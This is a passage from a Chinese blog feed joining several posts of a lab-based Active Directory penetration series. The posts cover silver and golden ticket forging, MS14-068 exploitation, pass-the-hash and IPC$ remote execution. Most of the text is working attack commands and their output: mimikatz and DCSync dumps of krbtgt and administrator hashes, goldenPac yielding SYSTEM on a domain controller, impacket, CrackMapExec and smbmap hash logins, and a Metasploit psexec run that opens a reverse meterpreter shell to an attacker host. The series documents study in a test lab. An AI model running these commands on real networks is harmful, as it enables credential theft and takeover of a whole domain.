[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

[proxychains] Strict chain ... 192.168.10.134:33080 ... sun.com:445 ... OK
[*] User SID: S-1-5-21-3388020223-1982701712-4030140183-1110
[proxychains] Strict chain ... 192.168.10.134:33080 ... sun.com:445 ... OK
[proxychains] Strict chain ... 192.168.10.134:33080 ... sun.com:445 ... OK
[*] Forest SID: S-1-5-21-3388020223-1982701712-4030140183
[proxychains] Strict chain ... 192.168.10.134:33080 ... sun.com:135 ... OK
[proxychains] Strict chain ... 192.168.10.134:33080 ... sun.com:49155 ... OK
[*] Attacking domain controller DC.sun.com
[proxychains] Strict chain ... 192.168.10.134:33080 ... DC.sun.com:88 ... OK
[proxychains] Strict chain ... 192.168.10.134:33080 ... DC.sun.com:88 ... OK
[proxychains] Strict chain ... 192.168.10.134:33080 ... DC.sun.com:88 ... OK
[proxychains] Strict chain ... 192.168.10.134:33080 ... DC.sun.com:88 ... OK
[proxychains] Strict chain ... 192.168.10.134:33080 ... DC.sun.com:88 ... OK
[proxychains] Strict chain ... 192.168.10.134:33080 ... DC.sun.com:88 ... OK
[*] DC.sun.com found vulnerable!
[proxychains] Strict chain ... 192.168.10.134:33080 ... dc.sun.com:445 ... OK
[*] Requesting shares on dc.sun.com.....
[*] Found writable share ADMIN$
[*] Uploading file HJlEFapm.exe
[*] Opening SVCManager on dc.sun.com.....
[*] Creating service RxAJ on dc.sun.com.....
[*] Starting service RxAJ.....
SMB SessionError: STATUS_OBJECT_NAME_NOT_FOUND(The object name is not found.)
[proxychains] Strict chain ... 192.168.10.134:33080 ... dc.sun.com:445 ... OK
[proxychains] Strict chain ... 192.168.10.134:33080 ... dc.sun.com:445 ... OK
[!] Press help for extra shell commands
[proxychains] Strict chain ... 192.168.10.134:33080 ... dc.sun.com:445 ... OK
Microsoft Windows [░µ▒╛ 6.1.7600]
░µ╚¿╦∙╙╨ (c) 2009 Microsoft Corporationíú▒ú┴⌠╦∙╙╨╚¿└√íú

C:\Windows\system32>whoami
nt authority\system

C:\Windows\system32>hostname
DC

试试重新打包的exe,同样成功,问题解决

]]>
<p>起因:利用ms14-068提权漏洞时尝试使用impacket工具包中的goldenPac模块来直接获取域控shell</p> <p>使用途中出现报错<code>Attempted &quot;__iter__&quot; operation on ASN.1 schema
域渗透学习(七)PTT 票据传递攻击 https://ares-x.com/2020/03/21/%E5%9F%9F%E6%B8%97%E9%80%8F%E5%AD%A6%E4%B9%A0%EF%BC%88%E4%B8%83%EF%BC%89PTT-%E7%A5%A8%E6%8D%AE%E4%BC%A0%E9%80%92%E6%94%BB%E5%87%BB/ 2020-03-21T07:16:53.000Z 2023-12-24T09:01:53.793Z

域渗透学习(一)Windows认证机制
域渗透学习(二)Kerberos协议
域渗透学习(三)域内信息搜集
域渗透学习(四)Dump Password & Hash
域渗透学习(五)基于IPC的远程连接
域渗透学习(六)PTH 哈希传递攻击

PTT 票据传递攻击

复习: 域渗透学习(二)Kerberos协议

白银票据(Silver Tickets)

特点:

  • 无需与KDC交互
  • 需要目标Server的NTLM Hash

在前文kerberos认证中的Ticket的组成:

1
Ticket=Server Hash(Server Session Key+Client info+End Time) 

当拥有Server(Service) Hash时,我们就可以伪造一个不经过KDC认证的一个Ticket。
Server Session Key在未发送Ticket之前,服务器是不知道Server Session Key是什么的。 所以,一切凭据都来源于Server Hash。

获取Server Hash

1
C:\files>mimikatz.exe "privilege::debug” "sekurlsa::logonpasswords" "exit" > log.txt

或者使用RCE漏洞获取到目标后加载mimikatz读取 该主机名为WEB的服务器

msf中加载mimikatz后使用msv来获取所有哈希

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
meterpreter > load mimikatz
meterpreter > msv
[+] Running as SYSTEM
[*] Retrieving msv credentials
msv credentials
===============

AuthID Package Domain User Password
------ ------- ------ ---- --------
0;987554 Negotiate IIS APPPOOL DefaultAppPool lm{ 00000000000000000000000000000000 }, ntlm{ 01ad29e76541f46e60129e2fb3acfc5d }
0;996 Negotiate DE1AY WEB$ lm{ 00000000000000000000000000000000 }, ntlm{ 01ad29e76541f46e60129e2fb3acfc5d }
0;49994 NTLM lm{ 00000000000000000000000000000000 }, ntlm{ 01ad29e76541f46e60129e2fb3acfc5d }
0;11327761 Kerberos DE1AY Administrator lm{ f471ca8ea823361ef9393d97e7a1873c }, ntlm{ 4d01fbeeaf2b706478943e0889df5622 }
0;1770542 NTLM DE1AY Administrator lm{ f67ce55ac831223dc187b8085fe1d9df }, ntlm{ 161cff084477fe596a5db81874498a24 }
0;1038932 Kerberos DE1AY de1ay lm{ f67ce55ac831223dc187b8085fe1d9df }, ntlm{ 161cff084477fe596a5db81874498a24 }
0;142774 Kerberos DE1AY mssql lm{ f67ce55ac831223dc187b8085fe1d9df }, ntlm{ 161cff084477fe596a5db81874498a24 }
0;156599 Kerberos DE1AY mssql lm{ f67ce55ac831223dc187b8085fe1d9df }, ntlm{ 161cff084477fe596a5db81874498a24 }
0;995 Negotiate NT AUTHORITY IUSR n.s. (Credentials KO)
0;997 Negotiate NT AUTHORITY LOCAL SERVICE n.s. (Credentials KO)
0;999 Negotiate DE1AY WEB$ n.s. (Credentials KO)

其中这一条即为需要的Service Hash

1
0;996       Negotiate  DE1AY         WEB$            lm{ 00000000000000000000000000000000 }, ntlm{ 01ad29e76541f46e60129e2fb3acfc5d }

伪造白银票据

尝试访问主机WEB

需要进行身份验证

伪造票据前先清空票据,保证票据列表干净

1
2
kerberos::list #列出票据
kerberos::purge # 清除票据

伪造票据:

1
mimikatz “kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLM Hash> /user:<用户名> /ptt" exit

伪造票据需要目标主机的主机名,主机名对应用户的NTLM Hash 和域的SID

获取域的SID可以通过wmic useraccount where name="krbtgt" get sid 或者下文中获取高权限账户后使用lsadump::dcsync /user:krbtgt

域SID即为图中标红的S-1-5-21-2756371121-2868759905-3853650604 红色后面的的是RID 并非域SID

注意如果查询的用户名同时存在域用户和本地用户的话,会得到两个查询结果:如图中查询的de1ay用户会返回两个SID

获取到所需的信息后使用mimikatz伪造一个管理员权限的票据:

1
kerberos::golden /domain:de1ay.com /sid:S-1-5-21-2756371121-2868759905-3853650604 /target:WEB /service:CIFS /rc4:01ad29e76541f46e60129e2fb3acfc5d /user:Administrator /ptt


再次访问WEB服务器,成功

访问DC仍然需要验证:

由于白银票据需要目标服务器的Hash,所以没办法生成对应域内 所有服务器的票据,也不能通过TGT申请。因此只能针对服务器上的某些服务去伪造,可伪造的服务类型列表如下:

服务服务名
WMIHOST、RPCSS
Powershell RemoteingHOST、HTTP
Scheduled TasksHOST
LDAP 、DCSyncLDAP
Windows File Share (CIFS)CIFS
Windows Remote ServerAdministration ToolsRPCSS、LDAP、CIFS

服务端可能的防御措施:
HKEY_LOCAL_MACHINE\SYSTEM \ CurrentControlSet\Control\Lsa\Kerberos\Parameters
中的ValidateKdcPacSignature设置为1,可规定服务器将票据发送给kerberos服务,由 kerberos服务验证票据是否有效

黄金票据(Golden Tickets)

  • 需要与DC通信
  • 需要krbtgt用户的Hash(KDC Hash)

域中有一个特殊用户叫做krbtgt,该用户是用于Kerberos身份验证的帐户,获得了该用户的hash,就可以伪造票据进行票据传递

域中每个用户的Ticket都是由krbtgt的密码Hash来计算生成的,因此只要获取到krbtgt的密码Hash,就可以随意伪造Ticket,进而使用Ticket登陆域控制器,使用krbtgt用户hash生成的票据被称为Golden Ticket。

获取krbtgt用户哈希

  • DCSync (mimikatz)

    mimikatz 会模拟域控,向目标域控请求账号密码信息。 这种方式动静更小,不用直接登陆域控,也不需要提取NTDS.DIT文件。需要域管理员或者其他类似的高权限账户。

    1
    lsadump::dcsync /user:krbtgt
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    mimikatz # lsadump::dcsync /user:krbtgt
    [DC] 'de1ay.com' will be the domain
    [DC] 'DC.de1ay.com' will be the DC server
    [DC] 'krbtgt' will be the user account

    Object RDN : krbtgt

    ** SAM ACCOUNT **

    SAM Username : krbtgt
    Account Type : 30000000 ( USER_OBJECT )
    User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
    Account expiration :
    Password last change : 2019/9/9 10:44:59
    Object Security ID : S-1-5-21-2756371121-2868759905-3853650604-502
    Object Relative ID : 502

    Credentials:
    Hash NTLM: 82dfc71b72a11ef37d663047bc2088fb
    ntlm- 0: 82dfc71b72a11ef37d663047bc2088fb
    lm - 0: 9b5cd36575630d629f3aa6d769ec91c3

    Supplemental Credentials:
    * Primary:Kerberos-Newer-Keys *
    Default Salt : DE1AY.COMkrbtgt
    Default Iterations : 4096
    Credentials
    aes256_hmac (4096) : 42e65a58c000dab8d353b1ff2bee93383f27f0966767afa8c1f32fc51122d118
    aes128_hmac (4096) : 5eb13d2a0e1f4980c3e3810d5da3da4f
    des_cbc_md5 (4096) : 79c8dc79fe467552

    * Primary:Kerberos *
    Default Salt : DE1AY.COMkrbtgt
    Credentials
    des_cbc_md5 : 79c8dc79fe467552

    * Packages *
    Kerberos-Newer-Keys

    * Primary:WDigest *
    01 6486daf200f85102b9a66f0bb698f964
    02 618b4df7c8262508a26641b5271693fe
    03 657b7f6a13829e21c18da26ee927dd7a
    04 6486daf200f85102b9a66f0bb698f964
    05 618b4df7c8262508a26641b5271693fe
    06 6702b7e06d68443bbd003fa1fd2ad6c2
    07 6486daf200f85102b9a66f0bb698f964
    08 5057528d4ee40f9ffda5ab89fc76e45c
    09 5057528d4ee40f9ffda5ab89fc76e45c
    10 ec101c8f1831c5ddefbcdabf2d854077
    11 48c89ab471a5a096c8895ca7c9fb8098
    12 5057528d4ee40f9ffda5ab89fc76e45c
    13 f63f9768f77b7a60dd75f79b210d31c5
    14 48c89ab471a5a096c8895ca7c9fb8098
    15 334888d42cd914936f94d6c2875f77a3
    16 334888d42cd914936f94d6c2875f77a3
    17 930580b0e2523dbc40d8b34efc9a83d1
    18 d7bb3256dc319c0a9bdbff3ef0b3d618
    19 120122f0735a3841c210d145d092d0fc
    20 d371f34cf41adb5a09c8507a94066c48
    21 61b1669bec1aa4a9873703229854e57d
    22 61b1669bec1aa4a9873703229854e57d
    23 963efa120b17bf8ea89eb2906fdf0092
    24 8a015afc23c33423a0557e59bd6d573c
    25 8a015afc23c33423a0557e59bd6d573c
    26 a1fa583bfc8008249d6649630aada4a0
    27 c13cf2b5ecb0894a09f8dd0831732da4
    28 679145bff502118a02f6f3af19067da2
    29 e371aa57cba0556074c58686ef433c30

    或者在 meterpreter 中使用 kiwi 扩展

    1
    dcsync_ntlm krbtgt
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    meterpreter > getuid
    Server username: DE1AY\Administrator
    meterpreter > load kiwi
    Loading extension kiwi...
    .#####. mimikatz 2.1.1 20180925 (x86/windows)
    .## ^ ##. "A La Vie, A L'Amour"
    ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
    ## \ / ## > http://blog.gentilkiwi.com/mimikatz
    '## v ##' Vincent LE TOUX ( [email protected] )
    '#####' > http://pingcastle.com / http://mysmartlogon.com ***/

    Success.
    meterpreter > dcsync_ntlm krbtgt
    [+] Account : krbtgt
    [+] NTLM Hash : 82dfc71b72a11ef37d663047bc2088fb
    [+] LM Hash : 9b5cd36575630d629f3aa6d769ec91c3
    [+] SID : S-1-5-21-2756371121-2868759905-3853650604-502
    [+] RID : 502

  • LSA(mimikatz)

    mimikatz 可以在域控的本地安全认证(Local Security Authority)上直接读取

    1
    2
    privilege::debug
    lsadump::lsa /inject /name:krbtgt
  • Hashdump(Meterpreter)

伪造黄金票据

  • 使用meterpreter中的kiwi模块:

    1
    load kiwi

    创建票据

    1
    golden_ticket_create -d <域名> -u <任意用户名> -s <Domain SID> -k <krbtgt NTLM Hash> -t <ticket本地存储路径如:/tmp/krbtgt.ticket>
    1
    golden_ticket_create -d de1ay.com -u test -s S-1-5-21-2756371121-2868759905-3853650604 -k 82dfc71b72a11ef37d663047bc2088fb -t /tmp/krbtgt.ticket


    对域内其他机器进行共享访问,因为无权限失败

    注入到内存

    1
    kerberos_ticket_use /tmp/krbtgt.ticket

    再次访问
    可成功访问域内其他机器和域控

    此时也可使用wmic在WEB机器上执行命令

    1
    wmic /authority:"kerberos:de1ay\WEB" /node:"WEB" process call create "calc"


    命令已经在目标服务器上以administrator权限成功执行

  • 使用mimikatz

    1
    mimikatz “kerberos::golden /domain:<域名> /sid:<域SID> /rc4:<KRBTGT NTLM Hash> /user:<任意用户名> /ptt" exit

    访问另一台机器WEB \\web\C$ 需要身份验证

    使用mimikatz伪造黄金票据

    进入mimikatz交互界面

    使用kerberos::list查看当前凭据列表

    发现已经有部分凭据,使用kerberos::purge来清空凭据确保凭据列表是干净的

    使用前面获得的krbtgt用户的哈希生成黄金票据

    • SID

      1
      Object Security ID   : S-1-5-21-2756371121-2868759905-3853650604-502

      注意这里的是域SID+RID(-502) RID去掉后才是域SID

    • NTLM Hash

      1
      82dfc71b72a11ef37d663047bc2088fb

    生成黄金票据并注入内存

    1
    kerberos::golden /domain:de1ay.com /sid:S-1-5-21-2756371121-2868759905-3853650604 /rc4:82dfc71b72a11ef37d663047bc2088fb /user:xxx /ptt

    查看票据 kerberos::list

    再次尝试访问目标服务器WEB

    同样也可以访问DC服务器(或域内任意一台机器)

    注意:如果使用 IP 地址访问的话会失败,使用 Netbios 的服务名访问才会走 Kerberos 协议

ms14-068 域提权漏洞

测试环境:http://vulnstack.qiyuanxuetang.net/vuln/detail/7/

利用PAC验证缺陷,导致可以通过伪造PAC中的用户签名来获取域管理员权限

具体详情:

https://technet.microsoft.com/library/security/ms14-068.aspx

https://www.freebuf.com/vuls/56081.html

利用前提

  • 域控机器没有安装MS14-068补丁
  • 获取到域内普通用户的密码/Hash 以及SUID

可以在DC机器上查看是否安装KB3011780补丁来判断是否存在MS14-068漏洞

利用该漏洞最简单的方法是使用Impacket工具包中的goldenPac 模块

先查看当前用户权限

Domain Users用户组

访问DC目录被拒绝

goldenPac

复制goldenPac.exe 到目标机器

目前已获取当前机器普通域用户leo 密码 123.com

1
goldenPac <域名>/<用户名>:<密码>@<域控地址>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
C:\Users\leo\Desktop>goldenPac.exe sun.com/leo:[email protected]
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

[*] User SID: S-1-5-21-3388020223-1982701712-4030140183-1110
[*] Forest SID: S-1-5-21-3388020223-1982701712-4030140183
[*] Attacking domain controller DC.sun.com
[*] DC.sun.com found vulnerable!
[*] Requesting shares on dc.sun.com.....
[*] Found writable share ADMIN$
[*] Uploading file ZVvcTLeF.exe
[*] Opening SVCManager on dc.sun.com.....
[*] Creating service bzOd on dc.sun.com.....
[*] Starting service bzOd.....
[!] Press help for extra shell commands
Microsoft Windows [░µ▒╛ 6.1.7600]
░µ╚¿╦∙╙╨ (c) 2009 Microsoft Corporationíú▒ú┴⌠╦∙╙╨╚¿└√íú

C:\Windows\system32>whoami
nt authority\system

C:\Windows\system32>hostname
DC

或者使用proxychains将goldenPac代理进内网

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
aresx@XXXXXXXXXX:/mnt/e$ proxychains goldenPac.py sun.com/leo:[email protected]
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

[proxychains] Strict chain ... 192.168.10.134:33080 ... sun.com:445 ... OK
[*] User SID: S-1-5-21-3388020223-1982701712-4030140183-1110
[proxychains] Strict chain ... 192.168.10.134:33080 ... sun.com:445 ... OK
[proxychains] Strict chain ... 192.168.10.134:33080 ... sun.com:445 ... OK
[*] Forest SID: S-1-5-21-3388020223-1982701712-4030140183
[proxychains] Strict chain ... 192.168.10.134:33080 ... sun.com:135 ... OK
[proxychains] Strict chain ... 192.168.10.134:33080 ... sun.com:49155 ... OK
[*] Attacking domain controller DC.sun.com
[proxychains] Strict chain ... 192.168.10.134:33080 ... DC.sun.com:88 ... OK
[proxychains] Strict chain ... 192.168.10.134:33080 ... DC.sun.com:88 ... OK
[proxychains] Strict chain ... 192.168.10.134:33080 ... DC.sun.com:88 ... OK
[proxychains] Strict chain ... 192.168.10.134:33080 ... DC.sun.com:88 ... OK
[proxychains] Strict chain ... 192.168.10.134:33080 ... DC.sun.com:88 ... OK
[proxychains] Strict chain ... 192.168.10.134:33080 ... DC.sun.com:88 ... OK
[*] DC.sun.com found vulnerable!
[proxychains] Strict chain ... 192.168.10.134:33080 ... dc.sun.com:445 ... OK
[*] Requesting shares on dc.sun.com.....
[*] Found writable share ADMIN$
[*] Uploading file HJlEFapm.exe
[*] Opening SVCManager on dc.sun.com.....
[*] Creating service RxAJ on dc.sun.com.....
[*] Starting service RxAJ.....
SMB SessionError: STATUS_OBJECT_NAME_NOT_FOUND(The object name is not found.)
[proxychains] Strict chain ... 192.168.10.134:33080 ... dc.sun.com:445 ... OK
[proxychains] Strict chain ... 192.168.10.134:33080 ... dc.sun.com:445 ... OK
[!] Press help for extra shell commands
[proxychains] Strict chain ... 192.168.10.134:33080 ... dc.sun.com:445 ... OK
Microsoft Windows [░µ▒╛ 6.1.7600]
░µ╚¿╦∙╙╨ (c) 2009 Microsoft Corporationíú▒ú┴⌠╦∙╙╨╚¿└√íú

C:\Windows\system32>whoami
nt authority\system

C:\Windows\system32>hostname
DC

C:\Windows\system32>

goldenPac使用可能会因为pyasn1库的原因出现问题,可以参考:解决goldenPac报错问题

pykek

使用方法:

1
ms14.068.exe -u <用户名>@<域名>  -s <SID> -d <DC机器地址或ip> -p <用户密码>

1
2
3
4
5
6
7
8
9
10
11
C:\Users\leo\Desktop>MS14-068.exe -u [email protected] -s S-1-5-21-3388020223-19827017
12-4030140183-1110 -d dc.sun.com -p 123.com
[+] Building AS-REQ for dc.sun.com... Done!
[+] Sending AS-REQ to dc.sun.com... Done!
[+] Receiving AS-REP from dc.sun.com... Done!
[+] Parsing AS-REP from dc.sun.com... Done!
[+] Building TGS-REQ for dc.sun.com... Done!
[+] Sending TGS-REQ to dc.sun.com... Done!
[+] Receiving TGS-REP from dc.sun.com... Done!
[+] Parsing TGS-REP from dc.sun.com... Done!
[+] Creating ccache file '[email protected]'... Done!

获得ccache文件后,可使用mimikatz进行票据注入

kerberos::purge或者cmd中执行klist purge

1
kerberos::ptc cache路径

注入完成后再次尝试是否有权限访问域控


用Vulnstack靶场二测试的时候没有成功,报了如下错误

如果有知道为什么的求留言告知

]]>
<blockquote> <p><a href="https://ares-x.com/2020/03/16/%E5%9F%9F%E6%B8%97%E9%80%8F%E5%AD%A6%E4%B9%A0%EF%BC%88%E4%B8%80%EF%BC%89Windows%E8%AE
域渗透学习(六)PTH 哈希传递攻击 https://ares-x.com/2020/03/21/%E5%9F%9F%E6%B8%97%E9%80%8F%E5%AD%A6%E4%B9%A0%EF%BC%88%E5%85%AD%EF%BC%89PTH-%E5%93%88%E5%B8%8C%E4%BC%A0%E9%80%92%E6%94%BB%E5%87%BB/ 2020-03-21T07:04:03.000Z 2023-12-24T09:01:53.760Z

域渗透学习(一)Windows认证机制
域渗透学习(二)Kerberos协议
域渗透学习(三)域内信息搜集
域渗透学习(四)Dump Password & Hash
域渗透学习(五)基于IPC的远程连接

PTH 哈希传递攻击

在前文Windows认证机制(网络认证 Net NTLM)章节中可以了解到,在获取了目标机器用户的NTLM Hash的情况下,可无需破解哈希直接使用目标的NTLM Hash来完成身份验证

哈希提取请参考域渗透学习(四)DUMP PASSWORD & HASH

如这里获取到的NTLM Hash 4d01fbeeaf2b706478943e0889df5622

可完成Pass The Hash的工具:

注意,PTH仍然是基于IPC远程连接实现的,所以关于账户权限,与 域渗透学习(五)基于IPC的远程连接 中提到的相同

具体参考:关于IPC连接和Psexec的用户权限问题

impacket

1
pip3 install impacket
  • psexec.py
1
psexec.py -hashes :<hash> 域/域用户名@192.168.10.2

  • smbexec.py
1
smbexec.py -hashes :<hash> 域/域用户名@192.168.10.2
1
2
3
4
5
6
7
8
PS C:\Users\AresX> smbexec.py -hashes :4d01fbeeaf2b706478943e0889df5622 de1ay/[email protected]
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

[!] Launching semi-interactive shell - Careful what you execute
C:\Windows\system32>whoami
nt authority\system

C:\Windows\system32>
  • wmiexec.py
1
2
3
4
PS C:\Users\AresX> wmiexec.py -hashes :4d01fbeeaf2b706478943e0889df5622 de1ay/[email protected] whoami        Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

[*] SMBv2.1 dialect used
de1ay\administrator

CrackMapExec

https://github.com/byt3bl33d3r/CrackMapExec/wiki

1
pip2 install crackmapexec

截止到2020/3 官方程序尚未支持Python3

Windows安装需要额外安装Microsoft Visual C++ 14.0,建议*nix环境下安装

使用CrackMapExec实现Hash传递:

1
2
3
4
5
6
aresx@XXXXXXXXXX:~$ cme smb 192.168.10.201 -u administrator -H 4d01fbeeaf2b706478943e0889df5622 -x whoami
CME 192.168.10.201:445 PC [*] Windows 6.1 Build 7601 (name:PC) (domain:DE1AY)
CME 192.168.10.201:445 PC [+] DE1AY\administrator 4d01fbeeaf2b706478943e0889df5622 (Pwn3d!) CME smb:445 XXXXXXXXXX [*] Windows 10.0 Build 18362 (name:XXXXXXXXXX) (domain:XXXXXXXXXX)
CME 192.168.10.201:445 PC [+] Executed command
CME 192.168.10.201:445 PC de1ay\administrator
[*] KTHXBYE!

Smbmap

https://github.com/ShawnDEvans/smbmap

1
2
3
4
5
6
7
8
PS E:\Tools\内网渗透工具集\smbmap> python3 .\smbmap.py -u administrator -d de1ay -p f471ca8ea823361ef9393d97e7a1873c:4d01fbeeaf2b706478943e0889df5622 -H 192.168.10.201
[+] IP: 192.168.10.201:445 Name: PC
Disk Permissions Comment
---- ----------- -------
ADMIN$ READ, WRITE 远程管理
C$ READ, WRITE 默认共享
IPC$ NO ACCESS 远程 IPC
PS E:\Tools\内网渗透工具集\smbmap>

Smbmap需提供LM Hash:NTLM Hash

Metasploit

使用的是exploit/windows/smb/psexec

注意这里填入的哈希是LM Hash:NTLM Hash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69

=[ metasploit v5.0.21-dev ]
+ -- --=[ 1889 exploits - 1065 auxiliary - 328 post ]
+ -- --=[ 546 payloads - 44 encoders - 10 nops ]
+ -- --=[ 2 evasion ]

[*] Starting persistent handler(s)...

msf5 > use exploit/windows/smb/psexec
msf5 exploit(windows/smb/psexec) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(windows/smb/psexec) > set LHOST 192.168.10.1
LHOST => 192.168.10.1
msf5 exploit(windows/smb/psexec) > set LPORT 7778
LPORT => 7778
msf5 exploit(windows/smb/psexec) > set RHOSTS 192.168.10.201
RHOSTS => 192.168.10.201
msf5 exploit(windows/smb/psexec) > show options

Module options (exploit/windows/smb/psexec):

Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 192.168.10.201 yes The target address range or CIDR identifier
RPORT 445 yes The SMB service port (TCP)
SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing
SERVICE_DISPLAY_NAME no The service display name
SERVICE_NAME no The service name
SHARE ADMIN$ yes The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as


Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.10.1 yes The listen address (an interface may be specified)
LPORT 7778 yes The listen port


Exploit target:

Id Name
-- ----
0 Automatic


msf5 exploit(windows/smb/psexec) > set SMBUser administrator
SMBUser => administrator
msf5 exploit(windows/smb/psexec) > set SMBPass f471ca8ea823361ef9393d97e7a1873c:4d01fbeeaf2b706478943e0889df5622 //冒号前为LM Hash 后为NTLM Hash
SMBPass => f471ca8ea823361ef9393d97e7a1873c:4d01fbeeaf2b706478943e0889df5622
msf5 exploit(windows/smb/psexec) > set SMBDomain de1ay
SMBDomain => de1ay
msf5 exploit(windows/smb/psexec) > exploit

[*] Started reverse TCP handler on 192.168.10.1:7778
[*] 192.168.10.201:445 - Connecting to the server...
[*] 192.168.10.201:445 - Authenticating to 192.168.10.201:445|de1ay as user 'Administrator'...
[*] 192.168.10.201:445 - Selecting PowerShell target
[*] 192.168.10.201:445 - Executing the payload...
[+] 192.168.10.201:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (179779 bytes) to 192.168.10.201
[*] Meterpreter session 1 opened (192.168.10.1:7778 -> 192.168.10.201:49482) at 2020-03-10 13:54:44 +0800

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
]]>
<blockquote> <p><a href="https://ares-x.com/2020/03/16/%E5%9F%9F%E6%B8%97%E9%80%8F%E5%AD%A6%E4%B9%A0%EF%BC%88%E4%B8%80%EF%BC%89Windows%E8%AE
域渗透学习(五)基于IPC的远程连接 https://ares-x.com/2020/03/21/%E5%9F%9F%E6%B8%97%E9%80%8F%E5%AD%A6%E4%B9%A0%EF%BC%88%E4%BA%94%EF%BC%89%E5%9F%BA%E4%BA%8EIPC%E7%9A%84%E8%BF%9C%E7%A8%8B%E8%BF%9E%E6%8E%A5/ 2020-03-21T06:52:34.000Z 2023-12-24T09:01:53.761Z

域渗透学习(一)Windows认证机制
域渗透学习(二)Kerberos协议
域渗透学习(三)域内信息搜集
域渗透学习(四)Dump Password & Hash

基于IPC的远程连接

windows默认情况下开启的共享:

当我们获取到可用于远程管理的账户时候,便可通过对ADMIN$目录建立IPC连接的方式远程连接到工作组或域内其他计算机,获取目标机器的控制权限

1
2
3
4
5
6
net use \\192.168.10.2 /u:domainname\administrator password 建立ipc连接
net use \\192.168.10.2 /de /y 删除ipc连接
net view \\192.168.10.2 查看共享目录
net view \\192.168.10.2\c$\users 列出指定目录文件
copy nbtscan.exe \\192.168.10.2\C$\windows\temp\ 复制文件
copy \\192.168.10.2\C$\windows\temp\hash.txt 下载文件

这里需要注意只能使用被添加到远程计算机管理员组的域用户来远程连接,具体原因参考关于IPC连接和Psexec的用户权限问题

即默认情况下只有域管用户有权限对admin$目录建立IPC连接,其实本地的Administrator用户也可以,但是默认情况下该用户是被禁用的,如果启用了该用户,那么也可以使用Administrator用户远程连接

计划任务执行命令

1
2
3
schtasks /create /tn task1 /U 域\域用户 /P 域用户密码 /tr 命令 /sc ONSTART /s 域机器ip /RU system
schtasks /run /tn task1 /s 192.168.10.2 /U 域/域用户 /P 域用户密码
schtasks /F /delete /tn task1 /s 域机器ip /U 域\域用户 /p 域用户密码

PSEXEC

可先建立ipc连接再使用psexec无需输入密码

1
2
net use \\IP /u:域名称\域账号 密码
psexec.exe \\192.168.10.2 -s cmd.exe -acceptcula 反弹cmd

或者直接使用psexec

1
.\PsExec.exe \\192.168.10.201 -u de1ay\Administrator -p 1qaz@WSX -s cmd.exe -acceptcula

Impacket

  • smbexec.py
1
2
3
4
5
PS C:\Users\AresX> smbexec.py de1ay/administrator:2wsx#[email protected]
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

[!] Launching semi-interactive shell - Careful what you execute
C:\Windows\system32>
  • psexec.py
    与官方psexec.exe相比会自动删除服务,增加隐蔽性
1
2
3
4
5
6
7
8
9
10
11
12
